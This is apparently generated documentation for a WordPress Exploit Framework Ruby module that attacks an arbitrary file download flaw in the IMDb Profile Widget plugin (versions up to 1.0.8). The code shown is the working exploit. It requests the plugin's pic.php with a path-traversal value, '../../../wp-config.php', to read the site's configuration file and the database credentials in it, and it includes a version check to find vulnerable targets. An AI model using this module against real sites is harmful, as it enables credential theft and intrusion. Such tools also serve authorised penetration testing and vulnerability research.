class Wpxf::Auxiliary::ImdbProfileWidgetArbitraryFileDownload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/imdb_profile_widget_arbitrary_file_download.rb, line 6
def initialize
  super

  update_info(
    name: 'IMDb Profile Widget <= 1.0.8 Arbitrary File Download',
    author: [
      'CrashBandicot @DosPerl', # Disclosure
      'rastating'               # WPXF module
    ],
    references: [
      ['WPVDB', '8426'],
      ['URL', 'https://packetstormsecurity.com/files/136447/']
    ],
    date: 'Mar 26 2016'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/imdb_profile_widget_arbitrary_file_download.rb, line 23
def check
  check_plugin_version_from_readme('imdb-widget', '1.0.9')
end
default_remote_file_path() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/imdb_profile_widget_arbitrary_file_download.rb, line 31
def default_remote_file_path
  '../../../wp-config.php'
end
download_request_params() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/imdb_profile_widget_arbitrary_file_download.rb, line 39
def download_request_params
  { 'url' => remote_file }
end
downloader_url() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/imdb_profile_widget_arbitrary_file_download.rb, line 35
def downloader_url
  normalize_uri(wordpress_url_wp_content, 'plugins', 'imdb-widget', 'pic.php')
end
working_directory() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/imdb_profile_widget_arbitrary_file_download.rb, line 27
def working_directory
  'wp-content/plugins/imdb-widget/'
end